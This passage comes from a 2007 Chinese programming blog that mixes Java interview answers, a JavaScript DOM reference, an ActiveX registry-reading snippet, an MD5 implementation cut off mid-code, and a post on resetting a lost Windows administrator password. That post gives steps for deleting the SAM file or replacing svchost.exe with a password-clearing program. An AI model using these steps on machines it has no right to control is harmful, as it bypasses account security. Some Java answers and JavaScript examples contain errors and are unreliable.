      答:当JAVA程序违反了JAVA的语义规则时,JAVA虚拟机就会将发生的错误表示为一个异常。违反语义规则包括2种情况。一种是JAVA类库内置的语义检查。例如数组下标越界,会引发IndexOutOfBoundsException;访问null的对象时会引发NullPointerException。另一种情况就是JAVA允许程序员扩展这种语义检查,程序员可以创建自己的异常,并自由选择在何时用throw关键字引发异常。所有的异常都是java.lang.Thowable的子类。

    43、垃圾回收的优点和原理。并考虑2种回收机制

      答:Java语言中一个显著的特点就是引入了垃圾回收机制,使c++程序员最头疼的内存管理的问题迎刃而解,它使得Java程序员在编写程序的时候不再需要考虑内存管理。垃圾回收可以有效的防止内存泄露,有效的使用可以使用的内存。垃圾回收器通常是作为一个单独的低级别的线程运行,不可预知的情况下对内存堆中已经死亡的或者长时间没有使用的对象进行清楚和回收,程序员不能实时的调用垃圾回收器对某个对象或所有对象进行垃圾回收。回收机制有分代复制垃圾回收和标记垃圾回收,增量垃圾回收。

    44、你所知道的集合类都有哪些?主要方法?

      答:最常用的集合类是 List 和 Map。 List 的具体实现包括 ArrayList 和 Vector,它们是可变大小的列表,比较适合构建、存储和操作任何类型对象的元素列表。 List 适用于按数值索引访问元素的情形。
    Map 提供了一个更通用的元素存储方法。 Map 集合类用于存储元素对(称作"键"和"值"),其中每个键映射到一个值。

    45、描述一下JVM加载class文件的原理机制?

      答:JVM中类的装载是由ClassLoader和它的子类来实现的,Java ClassLoader 是一个重要的Java运行时系统组件。它负责在运行时查找和装入类文件的类。

    46、排序都有哪几种方法?请列举

      答:排序的方法有:插入排序(直接插入排序、希尔排序),交换排序(冒泡排序、快速排序),选择排序(直接选择排序、堆排序),归并排序,分配排序(箱排序、基数排序)
    快速排序的伪代码。

      使用快速排序方法对a[0 : n-1]排序:

      从a[0 : n-1]中选择一个元素作为middle,该元素为支点,把余下的元素分割为两段left和right,使得left中的元素都小于等于支点,而right中的元素都大于等于支点。

      递归地使用快速排序方法对left进行排序

      递归地使用快速排序方法对right 进行排序

      所得结果为left + middle + right

    47、JAVA语言如何进行异常处理,关键字:throws,throw,try,catch,finally分别代表什么意义?在try块中可以抛出异常吗?

      答:Java通过面向对象的方法进行异常处理,把各种不同的异常进行分类,并提供了良好的接口。在Java中,每个异常都是一个对象,它是Throwable类或其它子类的实例。当一个方法出现异常后便抛出一个异常对象,该对象中包含有异常信息,调用这个对象的方法可以捕获到这个异常并进行处理。Java的异常处理是通过5个关键词来实现的:try、catch、throw、throws和finally。一般情况下是用try来执行一段程序,如果出现异常,系统会抛出(throws)一个异常,这时候你可以通过它的类型来捕捉(catch)它,或最后(finally)由缺省处理器来处理。

      用try来指定一块预防所有"异常"的程序。紧跟在try程序后面,应包含一个catch子句来指定你想要捕捉的"异常"的类型。

      throw语句用来明确地抛出一个"异常"。

      throws用来标明一个成员函数可能抛出的各种"异常"。

      Finally为确保一段代码不管发生什么"异常"都被执行一段代码。

      可以在一个成员函数调用的外面写一个try语句,在这个成员函数内部写另一个try语句保护其他代码。每当遇到一个try语句,"异常"的框架就放到堆栈上面,直到所有的try语句都完成。如果下一级的try语句没有对某种"异常"进行处理,堆栈就会展开,直到遇到有处理这种"异常"的try语句。

    48、一个".java"源文件中是否可以包括多个类(不是内部类)?有什么限制?

      答:可以。必须只有一个类名与文件名相同。

    49、java中有几种类型的流?JDK为每种类型的流提供了一些抽象类以供继承,请说出他们分别是哪些类?

      答:字节流,字符流。字节流继承于InputStream OutputStream,字符流继承于InputStreamReader OutputStreamWriter。在java.io包中还有许多其他的流,主要是为了提高性能和使用方便。

    50、java中会存在内存泄漏吗,请简单描述。

      答:会。自己实现堆载的数据结构时有可能会出现内存泄露,可参看effective java.

    51、java中实现多态的机制是什么?

      答:方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现,重载Overloading是一个类中多态性的一种表现。

    52、垃圾回收器的基本原理是什么?垃圾回收器可以马上回收内存吗?有什么办法主动通知虚拟机进行垃圾回收

      答:对于GC来说,当程序员创建对象时,GC就开始监控这个对象的地址、大小以及使用情况。通常,GC采用有向图的方式记录和管理堆(heap)中的所有对象。通过这种方式确定哪些对象是"可达的",哪些对象是"不可达的"。当GC确定一些对象为"不可达"时,GC就有责任回收这些内存空间。可以。程序员可以手动执行System.gc(),通知GC运行,但是Java语言规范并不保证GC一定会执行。

    53、静态变量和实例变量的区别?


    54、什么是java序列化,如何实现java序列化?

      答:序列化就是一种用来处理对象流的机制,所谓对象流也就是将对象的内容进行流化。可以对流化后的对象进行读写操作,也可将流化后的对象传输于网络之间。序列化是为了解决在对对象流进行读写操作时所引发的问题。

      序列化的实现:将需要被序列化的类实现Serializable接口,该接口没有需要实现的方法,implements Serializable只是为了标注该对象是可被序列化的,然后使用一个输出流(如:FileOutputStream)来构造一个ObjectOutputStream(对象流)对象,接着,使用ObjectOutputStream对象的writeObject(Object obj)方法就可以将参数为obj的对象写出(即保存其状态),要恢复的话则用输入流。

    55、是否可以从一个static方法内部发出对非static方法的调用?

      答:不可以,如果其中包含对象的method();不能保证对象初始化.

    56、写clone()方法时,通常都有一行代码,是什么?

      答:Clone 有缺省行为,super.clone();他负责产生正确大小的空间,并逐位复制。

    57、在JAVA中,如何跳出当前的多重嵌套循环?

      答:用break; return 方法。

    58、List、Map、Set三个接口,存取元素时,各有什么特点?

      答:List 以特定次序来持有元素,可有重复元素。Set 无法拥有重复元素,内部排序。Map 保存key-value值,value可多值。

    59、说出一些常用的类,包,接口,请各举5个

      答:常用的类:BufferedReader    BufferedWriter    FileReader    FileWirter    String    Integer

      常用的包:java.lang    java.awt    java.io    java.util    java.sql

      常用的接口:Remote    List    Map    Runnable Serializable ActionListener

    二、线程编程方面

    60、java中有几种方法可以实现一个线程?用什么关键字修饰同步方法? stop()和suspend()方法为何不推荐使用?

      答:有两种实现方法,分别是继承Thread类与实现Runnable接口

      用synchronized关键字修饰同步方法

      反对使用stop(),是因为它不安全。它会解除由线程获取的所有锁定,而且如果对象处于一种不连贯状态,那么其他线程能在那种状态下检查和修改它们。结果很难检查出真正的问题所在。suspend()方法容易发生死锁。调用suspend()的时候,目标线程会停下来,但却仍然持有在这之前获得的锁定。此时,其他任何线程都不能访问锁定的资源,除非被"挂起"的线程恢复运行。对任何线程来说,如果它们想恢复目标线程,同时又试图使用任何一个锁定的资源,就会造成死锁。所以不应该使用suspend(),而应在自己的Thread类中置入一个标志,指出线程应该活动还是挂起。若标志指出线程应该挂起,便用wait()命其进入等待状态。若标志指出线程应当恢复,则用一个notify()重新启动线程。

    61、sleep() 和 wait() 有什么区别?

      答:sleep是线程类(Thread)的方法,导致此线程暂停执行指定时间,给执行机会给其他线程,但是监控状态依然保持,到时后会自动恢复。调用sleep不会释放对象锁。

      wait是Object类的方法,对此对象调用wait方法导致本线程放弃对象锁,进入等待此对象的等待锁定池,只有针对此对象发出notify方法(或notifyAll)后本线程才进入对象锁定池准备获得对象锁进入运行状态。

    62、同步和异步有何异同,在什么情况下分别使用他们?举例说明。

      答:如果数据将在线程间共享。例如正在写的数据以后可能被另一个线程读到,或者正在读的数据可能已经被另一个线程写过了,那么这些数据就是共享数据,必须进行同步存取。

      当应用程序在对象上调用了一个需要花费很长时间来执行的方法,并且不希望让程序等待方法的返回时,就应该使用异步编程,在很多情况下采用异步途径往往更有效率。

    63、启动一个线程是用run()还是start()?

      答:启动一个线程是调用start()方法,使线程所代表的虚拟处理机处于可运行状态,这意味着它可以由JVM调度并执行。这并不意味着线程就会立即运行。run()方法可以产生必须退出的标志来停止一个线程。

    64、当一个线程进入一个对象的一个synchronized方法后,其它线程是否可进入此对象的其它方法?

      答:不能,一个对象的一个synchronized方法只能由一个线程访问。

    65、请说出你所知道的线程同步的方法。

      答:wait():使一个线程处于等待状态,并且释放所持有的对象的lock。

      sleep():使一个正在运行的线程处于睡眠状态,是一个静态方法,调用此方法要捕捉InterruptedException异常。

      notify():唤醒一个处于等待状态的线程,注意的是在调用此方法的时候,并不能确切的唤醒某一个等待状态的线程,而是由JVM确定唤醒哪个线程,而且不是按优先级。

      Allnotity():唤醒所有处入等待状态的线程,注意并不是给所有唤醒线程一个对象的锁,而是让它们竞争。

    66、多线程有几种实现方法,都是什么?同步有几种实现方法,都是什么?

      答:多线程有两种实现方法,分别是继承Thread类与实现Runnable接口
    同步的实现方面有两种,分别是synchronized,wait与notify

    67、线程的基本概念、线程的基本状态以及状态之间的关系

      答:线程指在程序执行过程中,能够执行程序代码的一个执行单位,每个程序至少都有一个线程,也就是程序本身。

      Java中的线程有四种状态分别是:运行、就绪、挂起、结束

    68、简述synchronized和java.util.concurrent.locks.Lock的异同 ?

      答:主要相同点:Lock能完成synchronized所实现的所有功能

      主要不同点:Lock有比synchronized更精确的线程语义和更好的性能。synchronized会自动释放锁,而Lock一定要求程序员手工释放,并且必须在finally从句中释放。

    posted @ 2007-05-29 01:34 jadmin 阅读(53) | 评论 (0)编辑 收藏

    :页面上元素name属性和JavaScript引用的名称必须一致包括大小写,否则会提示你一个错误信息 "引用的元素为空或者不是对象"]
    ========================================================================
    对象属性:

    document.title                  //设置文档标题等价于HTML的<title>标签
    document.bgColor                //设置页面背景色
    document.fgColor                //设置前景色(文本颜色)
    document.linkColor              //未点击过的链接颜色
    document.alinkColor             //激活链接(焦点在此链接上)的颜色
    document.vlinkColor             //已点击过的链接颜色
    document.URL                    //设置URL属性从而在同一窗口打开另一网页
    document.fileCreatedDate        //文件建立日期,只读属性
    document.fileModifiedDate       //文件修改日期,只读属性
    document.fileSize               //文件大小,只读属性
    document.cookie                 //设置和读出cookie
    document.charset                //设置字符集 简体中文:gb2312
    ----------------------------
    常用对象方法:

    document.write()                       //动态向页面写入内容
    document.createElement(Tag)            //创建一个html标签对象
    document.getElementById(ID)            //获得指定ID值的对象
    document.getElementsByName(Name)       //获得指定Name值的对象
    document.body.appendChild(oTag)
    ========================================================================
    body-主体子对象

    document.body                    //指定文档主体的开始和结束等价于<body></body>
    document.body.bgColor            //设置或获取对象后面的背景颜色
    document.body.link               //未点击过的链接颜色
    document.body.alink              //激活链接(焦点在此链接上)的颜色
    document.body.vlink              //已点击过的链接颜色
    document.body.text               //文本色
    document.body.innerText          //设置<body>...</body>之间的文本
    document.body.innerHTML          //设置<body>...</body>之间的HTML代码
    document.body.topMargin          //页面上边距
    document.body.leftMargin         //页面左边距
    document.body.rightMargin        //页面右边距
    document.body.bottomMargin       //页面下边距
    document.body.background         //背景图片
    document.body.appendChild(oTag) //动态生成一个HTML对象
    ----------------------------
    常用对象事件:

    document.body.onclick="func()"               //鼠标指针单击对象是触发
    document.body.onmouseover="func()"           //鼠标指针移到对象时触发
    document.body.onmouseout="func()"            //鼠标指针移出对象时触发
    ========================================================================
    location-位置子对象:

    document.location.hash           // #号后的部分
    document.location.host           // 域名+端口号
    document.location.hostname       // 域名
    document.location.href           // 完整URL
    document.location.pathname       // 目录部分
    document.location.port           // 端口号
    document.location.protocol       // 网络协议(http:)
    document.location.search         // ?号后的部分
    ----------------------------
    常用对象事件:

    documeny.location.reload()           //刷新网页
    document.location.reload(URL)        //打开新的网页
    document.location.assign(URL)        //打开新的网页
    document.location.replace(URL)       //打开新的网页
    ========================================================================
    selection-选区子对象
    document.selection
    ========================================================================
    images集合(页面中的图象):
    ----------------------------
    a)通过集合引用
    document.images                  //对应页面上的<img>标签
    document.images.length           //对应页面上<img>标签的个数
    document.images[0]               //第1个<img>标签           
    document.images[i]               //第i-1个<img>标签
    ----------------------------
    b)通过nane属性直接引用
    <img name="oImage">
    document.images.oImage           //document.images.name属性
    ----------------------------
    c)引用图片的src属性
    document.images.oImage.src       //document.images.name属性.src
    ----------------------------
    d)创建一个图象
    var oImage
    oImage = new Image()
    document.images.oImage.src="1.jpg"
    同时在页面上建立一个<img>标签与之对应就可以显示
    ----------------------------
    示例代码(动态创建图象):
    <html>
    <img name=oImage>
    <script language="javascript">
            var oImage
            oImage = new Image()
            document.images.oImage.src="1.jpg"
    </script>
    </html>

    <html>
    <script language="javascript">
            oImage=document.caeateElement("IMG")
            oImage.src="1.jpg"
            document.body.appendChild(oImage)
    </script>
    </html>
    ========================================================================
    forms集合(页面中的表单):
    ----------------------------
    a)通过集合引用
    document.forms                      //对应页面上的<form>标签
    document.forms.length               //对应页面上<form>标签的个数
    document.forms[0]                   //第1个<form>标签
    document.forms[i]                   //第i-1个<form>标签
    document.forms[i].length            //第i-1个<form>中的控件数
    document.forms[i].elements[j]       //第i-1个<form>中第j-1个控件
    ----------------------------
    b)通过标签name属性直接引用
    <form name="Myform"><input name="myctrl"></form>
    document.Myform.myctrl              //document.表单名.控件名
    ----------------------------
    c)访问表单的属性
    document.forms[i].name              //对应<form name>属性
    document.forms[i].action            //对应<form action>属性
    document.forms[i].encoding          //对应<form enctype>属性
    document.forms[i].target            //对应<form target>属性
    document.forms[i].appendChild(oTag) //动态插入一个控件
    ----------------------------
    示例代码(form):
    <html>
    <!--Text控件相关Script-->
    <form name="Myform">
    <input type="text" name="oText">
    <input type="password" name="oPswd">
    <form>
    <script language="javascript">
    //获取文本密码框的值
    document.write(document.Myform.oText.value)
    document.write(document.Myform.oPswd.value)
    </script>
    </html>
    ----------------------------
    示例代码(checkbox):
    <html>
    <!--checkbox,radio控件相关script-->
    <form name="Myform">
    <input type="checkbox" name="chk" value="1">1     
    <input type="checkbox" name="chk" value="2">2     
    </form>     
    <script language="javascript">     
    function fun(){     
           //遍历checkbox控件的值并判断是否选中     
           var length     
           length=document.forms[0].chk.length     
           for(i=0;i<length;i++){     
           v=document.forms[0].chk[i].value     
           b=document.forms[0].chk[i].checked     
           if(b)     
             alert(v=v+"被选中")     
           else     
             alert(v=v+"未选中")    
           }     
           }     
    </script>      
    <a href=# onclick="fun()">ddd</a>                      
    </html>
    ----------------------------
    示例代码(Select):
    <html>
    <!--Select控件相关Script-->
    <form name="Myform">
    <select name="oSelect">
    <option value="1">1</option>
    <option value="2">2</option>
    <option value="3">3</option>
    </select>
    </form>

    <script language="javascript">
            //遍历select控件的option项
            var length
            length=document.Myform.oSelect.length
            for(i=0;i<length;i++)
            document.write(document.Myform.oSelect[i].value)
    </script>

    <script language="javascript">
            //遍历option项并且判断某个option是否被选中
            for(i=0;i<document.Myform.oSelect.length;i++){
            if(document.Myform.oSelect[i].selected!=true)
            document.write(document.Myform.oSelect[i].value)
            else
            document.write("<font color=red>"+document.Myform.oSelect[i].value+"</font>")   
            }
    </script>

    <script language="javascript">
            //根据SelectedIndex打印出选中的option
            //(0到document.Myform.oSelect.length-1)
            i=document.Myform.oSelect.selectedIndex
            document.write(document.Myform.oSelect[i].value)
    </script>

    <script language="javascript">
            //动态增加select控件的option项
            var oOption = document.createElement("OPTION");
            oOption.text="4";
            oOption.value="4";
            document.Myform.oSelect.add(oOption);
    </script>
    <html>
    ========================================================================
    Div集合(页面中的层):
    <Div id="oDiv">Text</Div>
    document.all.oDiv                                   //引用图层oDiv                
    document.all.oDiv.style.display=""                  //图层设置为可视
    document.all.oDiv.style.display="none"              //图层设置为隐藏
    document.getElementId("oDiv")                       //通过getElementId引用对象
    document.getElementId("oDiv").style=""
    document.getElementId("oDiv").display="none"
    /*document.all表示document中所有对象的集合
    只有ie支持此属性,因此也用来判断浏览器的种类*/
    ----------------------------
    图层对象的4个属性
    document.getElementById("ID").innerText       //动态输出文本
    document.getElementById("ID").innerHTML       //动态输出HTML
    document.getElementById("ID").outerText       //同innerText
    document.getElementById("ID").outerHTML       //同innerHTML
    ----------------------------
    示例代码:
    <html>
    <script language="javascript">
    function change(){
    document.all.oDiv.style.display="none"
    }
    </script>
    <Div id="oDiv" onclick="change()">Text</Div>
    </html>

    <html>
    <script language="javascript">
    function changeText(){
    document.getElementById("oDiv").innerText="NewText"
    }
    </script>
    <Div id="oDiv" onmouseover="changeText()">Text</Div>
    </html>

    posted @ 2007-05-28 16:47 jadmin 阅读(46) | 评论 (0)编辑 收藏

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE> New Document </TITLE>
    <META NAME="Generator" CONTENT="EditPlus">
    <META NAME="Author" CONTENT="">
    <META NAME="Keywords" CONTENT="">
    <META NAME="Description" CONTENT="">
    </HEAD>
    <script language="javascript">
    function mediaPlayerInstallLocation(){
         var obj = new ActiveXObject("WScript.Shell");
         var s="HKLM\\SOFTWARE\\Microsoft\\MediaPlayer\\Installation Directory";
         var sNic = obj.RegRead(s);
         alert(sNic);
    }
    </script>
    <BODY>
    <input type="button" value="click me" onclick="mediaPlayerInstallLocation();"/>
    </BODY>
    </HTML>

    posted @ 2007-05-28 16:41 jadmin 阅读(65) | 评论 (0)编辑 收藏
      1:清除sam文件:

      WinNT系列的系统账户信息是存在%systemroot%\system32\config\sam这个注册表文件里的。 如果系统里没有重要的账户,或者账户比较少,用删除%systemroot%\system32\config\sam的方法是比较简单的,不过因为系统会还原为只有administrator(密码为空)和guest二个账户,所以有些程序因为它们所依赖的账户丢失了,如iis、vmware就不能启动了。

       原来听说这种方法只能适用于nt workstation系列(2kpro),不能用于server,我在2000professional和2000 advanced server上试验都是成功的。不知道为什么会有上述说法,可能是活动目录ad下不行吧。

       当然首先你要能够访问系统分区,来把sam文件改名或者删除。如果是fat32、fat分区,使用98启动盘就行了。如果是ntfs分区,可以使用winternal的ntfs for dos、ntfs for 98或者是支持ntfs的启动光盘,再或者挂到其他win2000、linux等机器上,再再或者重新安装一个新的win2000。   

      2:专用工具:

      windows管理员密码丢失还有一个解决方法是使用Petter Nordahl-Hagen的The Offline NT Password Editor(http://home.eunet.no/~pnordahl/ntpasswd/),这个工具是离线修改注册表文件sam来设置密码的。需要用他的映像文件制作启动盘来引导,进而访问ntfs分区重新设置密码;虽然作者经常更新他的程序,不过我还是会担心他直接操作sam文件的安全性,可能有时会导致系统出错。可能还有其他类似工具吧,恕我无知。

      3:还有一种想法就是用一个修改密码的小程序来替换系统启动的必要程序,然后系统启动时就会替换密码,随后把被替换的程序在还原就行了。当然首先你还是要能够访问系统分区,来替换随系统启动的程序。   

      替换系统启动的必要程序的一种方法是我写的一个清除administrator密码的小程序(CleanPwd:http://www.BingleSite.net/myprog/CleanPwd/CleanPwd.rar),他所作的就是把administrator密码清空。使用方法如下:

      1):用双系统或者启动盘或者挂到别的系统上,如果是NTFS分区其他系统或启动盘要能读写NTFS分区,把windows安装目录下的system32\svchost.exe改名svchost.bak.exe备份,把CleanPwd.exe拷贝成svchost.exe。   

      2):启动该系统,就把administrator的密码清空了,可以直接登陆。   

      3):把svchost.bak.exe 恢复就行了(如果使用替换的是svchost,最好再启动rpc服务)。为什么选用svchost.exe而不是其他程序,因为每个windows2000系统都有这几个进程,System(kernel Executive and kernel)、smss(session manager)、csrss(win32 subsystem)、winlogon(logon process)、services(Service control manager)、lsass(local security authentication server ) 如果任何一个被杀掉或者出错,系统将重新启动。不过在lsass启动之前你不能修改密码,所以不能选用这几个程序。

      另外系统中一般还有以下一些程序:svchost.exe(Remote Procedure Call (RPC) 还有其他一些服务)、WBEM\WinMgmt.exe(Windows Management Instrumentation)、mstask.exe(Task Scheduler)、regsvc.exe(Remote Registry Service) 可能还有其他服务程序,你可能禁止了除RPC之外的其他服务,但不会禁止rpc,否则系统工作就不正常了。所以我选择了svchost,如果你知道其他服务会自动启动,你也可以选择它。当然如果系统安装了杀毒软件的话,你替换杀毒软件也可以,因为一般杀毒软件都会在系统启动是启动杀毒防火墙来杀毒的。
    posted @ 2007-05-28 11:56 jadmin 阅读(50) | 评论 (0)编辑 收藏

            2007 年将是载入史册的一年,Sun Microsystems 公司将于这一年在开源许可协议下发布 Java 开发包(JDK),从而放弃了对 Java? 平台的统驭,将权力交给了 Java 开发人员社区!在本文中,Java 开发人员 Elliotte Rusty Harold 从各个方面预测了 Java 平台的新方向,从脚本到 bug 修复到新语法。

      2006 年又是 Java 平台繁荣的一年。尽管遭遇了来自 Microsoft(C#)和脚本语言社区(Ruby)的冲击,但 Java 语言仍然保持着其世界头号编程语言的地位。同时,尽管 Java 6 的发布很值得庆祝,但比起宣布 Java 将在 GNU General Public License 下完全开源这一事件来说,却不免有些黯然失色。Java 在 2007 年还能保持这种势头吗?让我们来看一下成败的可能。

      Java 平台将成为开源平台

      2007 年上半年,Sun 将在一个开源许可协议下发布 Java 开发包(JDK)。解除 JDK 的禁锢对于 Java 开发人员社区来说是巨大的一步,它将在今后的十年中推动 Java 平台的发展。

      JDK 的质量将会显著改善,因为程序员们不再仅仅报告 bug 并开始修复。Java Developer Connection 的 bug 报告将会包括对 JDK 中的问题部分的详细分析,并提供修复的补丁。正如Linus 法则 所陈述的那样,“只要给予足够的关注,任何 bug 都是显而易见”,即调试是可并行进行的。优化也是一样。开源使两者得以 并行。

      分支项目

      遗憾的是,设计并不是和调试、优化一样可以并行完成的。清洁的 API 有时也需要有一只独裁的手。但独裁者的缺点是:有时他们知道在做什么,有时却不知道。意图成为独裁者的各方面之间的竞争往往是发现问题最佳解决方案的惟一方式。

      很少有公司能够负担得起这样的代价,为一个产品开发多个独立的实现,以便在多个产品中选定保留一个而摒弃其余的产品,但开源社区却在朝这个方向努力。所以,您会在 Java 平台的各个层次中发现分支产品:语言、虚拟机和库。大多数的分支产品会失败,但这没什么。好主意会脱颖而出。一些分支产品会一直存在下去,一些会重新并入标准 JDK 中。明年的这个时候,分支产品与主流产品之间的差异也许不会很明显,但这个过程会继续下去。

      Sun 会在几个月后发布 Java 7,Dolphin 的一个早期的 beta 版,以此作为开端。Sun 无法发布更早的 JDK 版本,因为存在一些只有在 Dolphin 中才能解决的构建问题和许可协议问题。尽管如此,仍有望看到第三方着手进一步细分 Sun 的版本,来提供 Java 6、Java 5、Java 1.4,甚至更早版本的流行开源实现。

      早期的一些探寻分支产品的人们可能会侵犯 Sun 公司的商标,收到 Sun 的律师寄来的讨厌的律师信。我们需要一个通用的未注册为商标的名字,让所有人都能使用。我建议用 “J” —— 我希望没人用单字母作商标。

      开源项目从未消亡,只是有些褪色。就像之前的 Blackdown Project、GNU Classpath、Kaffe 和其他开源 JDK 项目一样,他们的开发人员都转向其他事情了。如果一个项目至今还没有达到 1.0,那么恐怕以后永远也达不到了。

      期待 Java 7

      Dolphin 不会在 2007 年发布。2008 年是更为现实的目标。那就是说,工作尚在进行中,它的一些功能也许会作为早期的标准扩展或至少作为 beta 登场。

      遗憾的是,为一门语言添加功能远比删除功能要简单得多。几乎不可避免地,随着时间的推移,语言不是朝着简单的方向发展,而是越来越复杂,越来越让人困惑。即使是那些单独看起来很好的功能,在彼此叠加后也会出现问题。

      令人遗憾,Java 社区没有接受这个教训,尽管这种失败并无特殊性。但总有一些太酷又太让人激动的新语法令语言设计者难以抗拒 —— 即便这样的新语法不能解决任何实际问题。于是对 Java 7 的新语言功能就有了巨大的要求,包括闭包、多继承和操作符重载。

      我猜想在这一年结束前,会在 Java 7 beta 中看到闭包,也许还能看到操作符重载(有五成的把握),但不会出现多继承。Java 中有太多东西是基于单个根的继承层次。没有可行的方式改进多继承,使之适应这门语言。

      目前有许多语法糖方面的提议,有一些有意义,有一些没有。许多提议都专注于将像 getFoo() 这样的方法替换为像 -> 这样的操作符。

    posted @ 2007-05-28 01:51 jadmin 阅读(31) | 评论 (0)编辑 收藏

    import java.lang.reflect.*;

    /*************************************************
    md5 类实现了RSA Data Security, Inc.在提交给IETF
    的RFC1321中的MD5 message-digest 算法。
    *************************************************/

    public class MD5
    {
    // 下面这些S11-S44实际上是一个4*4的矩阵,这样写是方便修改
    static final int S11 = 7;
    static final int S12 = 12;
    static final int S13 = 17;
    static final int S14 = 22;

    static final int S21 = 5;
    static final int S22 = 9;
    static final int S23 = 14;
    static final int S24 = 20;

    static final int S31 = 4;
    static final int S32 = 11;
    static final int S33 = 16;
    static final int S34 = 23;

    static final int S41 = 6;
    static final int S42 = 10;
    static final int S43 = 15;
    static final int S44 = 21;

    static final byte[] PADDING = { -128, 0, 0, 0, 0, 0, 0, 0, 0,
         0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
         0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
         0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };

    // 下面的三个成员是MD5计算过程中用到的3个核心数据,在原始的C实现中
    // 被定义到MD5_CTX结构中

    private long[] state = new long[4];    // state (ABCD)
    private long[] count = new long[2];    // number of bits, modulo 2^64 (lsb first)
    private byte[] buffer = new byte[64]; // input buffer

    // digestHexStr是MD5的唯一一个公共成员,是最新一次计算结果的
    //    16进制ASCII表示.

    public String digestHexStr;

    // digest,是最新一次计算结果的2进制内部表示,表示128bit的MD5值.

    private byte[] digest = new byte[16];

    // getMD5ofStr是类MD5最主要的公共方法,入口参数是你想要进行MD5变换的字符串
    //    返回的是变换完的结果,这个结果是从公共成员digestHexStr取得的.
      
    public String getMD5ofStr(String inbuf)
    {
        md5Init();
        md5Update(inbuf.getBytes(), inbuf.length());
        md5Final();
        digestHexStr = "";
        for (int i = 0; i < 16; i++)
        {
         digestHexStr += byteHEX(digest[i]);
        }
        return digestHexStr;
    }

    // 这是MD5这个类的标准构造函数,JavaBean要求有一个public的并且没有参数的构造函数
    public MD5()
    {
        md5Init();
        return;
    }

    // md5Init是一个初始化函数,初始化核心变量,装入标准的幻数

    private void md5Init()
    {
        count[0] = 0L;
        count[1] = 0L;
        // Load magic initialization constants.

        state[0] = 0x67452301L;
        state[1] = 0xefcdab89L;
        state[2] = 0x98badcfeL;
        state[3] = 0x10325476L;

        return;
    }

    // F, G, H ,I 是4个基本的MD5函数,在原始的MD5的C实现中,由于它们是
    //    简单的位运算,可能出于效率的考虑把它们实现成了宏,在java中,我们把它们
    // 实现成了private方法,名字保持了原来C中的。
      
    private long F(long x, long y, long z) {
        return (x & y) | ((~x) & z);
    }
    private long G(long x, long y, long z) {
        return (x & z) | (y & (~z));
    }
    private long H(long x, long y, long z) {
        return x ^ y ^ z;
    }
    private long I(long x, long y, long z) {
        return y ^ (x | (~z));
    }

    // FF,GG,HH和II将调用F,G,H,I进行近一步变换

    private long FF(long a, long b, long c, long d, long x, long s,long ac) {
        a += F (b, c, d) + x + ac;
        a = ((int) a << s) | ((int) a >>> (32 - s));
        a += b;
        return a;
    }

    private long GG(long a, long b, long c, long d, long x, long s,long ac) {
        a += G (b, c, d) + x + ac;
        a = ((int) a << s) | ((int) a >>> (32 - s));
        a += b;
        return a;
    }
    private long HH(long a, long b, long c, long d, long x, long s,long ac) {
        a += H (b, c, d) + x + ac;
        a = ((int) a << s) | ((int) a >>> (32 - s));
        a += b;
        return a;
    }
    private long II(long a, long b, long c, long d, long x, long s,long ac) {
        a += I (b, c, d) + x + ac;
        a = ((int) a << s) | ((int) a >>> (32 - s));
        a += b;
        return a;
    }

    // md5Update是MD5的主计算过程,inbuf是要变换的字节串,inputlen是长度,这个
    // 函数由getMD5ofStr调用,调用之前需要调用md5init,因此把它设计成private的
      
    private void md5Update(byte[] inbuf, int inputLen) {
        int i, index, partLen;
        byte[] block = new byte[64];
        index = (int)(count[0] >>> 3) & 0x3F;
        // /* Update number of bits */
        if ((count[0] += (inputLen << 3)) < (inputLen << 3))
         count[1]++;
        count[1] += (inputLen >>> 29);

        partLen = 64 - index;

        // Transform as many times as possible.
        if (inputLen >= partLen) {
         md5Memcpy(buffer, inbuf, index, 0, partLen);
         md5Transform(buffer);

         for (i = partLen; i + 63 < inputLen; i += 64) {

          md5Memcpy(block, inbuf, 0, i, 64);
          md5Transform (block);
         }
         index = 0;

        } else
         i = 0;

        ///* Buffer remaining input */
        md5Memcpy(buffer, inbuf, index, i, inputLen - i);
    }
    private void md5Final () {
        byte[] bits = new byte[8];
        int index, padLen;

        ///* Save number of bits */
        Encode (bits, count, 8);

        ///* Pad out to 56 mod 64.
        index = (int)(count[0] >>> 3) & 0x3f;
        padLen = (index < 56) ? (56 - index) : (120 - index);
        md5Update (PADDING, padLen);

        ///* Append length (before padding) */
        md5Update(bits, 8);

        ///* Store state in digest */
        Encode (digest, state, 16);
    }

    // md5Memcpy是一个内部使用的byte数组的块拷贝函数,从input的inpos开始把len长度的
        //    字节拷贝到output的outpos位置开始
      
    private void md5Memcpy (byte[] output, byte[] input,int outpos, int inpos, int len){
        int i;

        for (i = 0; i < len; i++)
         output[outpos + i] = input[inpos + i];
    }

    // md5Transform是MD5核心变换程序,有md5Update调用,block是分块的原始字节
      
    private void md5Transform (byte block[]) {
        long a = state[0], b = state[1], c = state[2], d = state[3];
        long[] x = new long[16];

        Decode (x, block, 64);

        /* Round 1 */
        a = FF (a, b, c, d, x[0], S11, 0xd76aa478L); /* 1 */
        d = FF (d, a, b, c, x[1], S12, 0xe8c7b756L); /* 2 */
        c = FF (c, d, a, b, x[2], S13, 0x242070dbL); /* 3 */
        b = FF (b, c, d, a, x[3], S14, 0xc1bdceeeL); /* 4 */
        a = FF (a, b, c, d, x[4], S11, 0xf57c0fafL); /* 5 */
        d = FF (d, a, b, c, x[5], S12, 0x4787c62aL); /* 6 */
        c = FF (c, d, a, b, x[6], S13, 0xa8304613L); /* 7 */
        b = FF (b, c, d, a, x[7], S14, 0xfd469501L); /* 8 */
        a = FF (a, b, c, d, x[8], S11, 0x698098d8L); /* 9 */
        d = FF (d, a, b, c, x[9], S12, 0x8b44f7afL); /* 10 */
        c = FF (c, d, a, b, x[10], S13, 0xffff5bb1L); /* 11 */
        b = FF (b, c, d, a, x[11], S14, 0x895cd7beL); /* 12 */
        a = FF (a, b, c, d, x[12], S11, 0x6b901122L); /* 13 */
        d = FF (d, a, b, c, x[13], S12, 0xfd987193L); /* 14 */
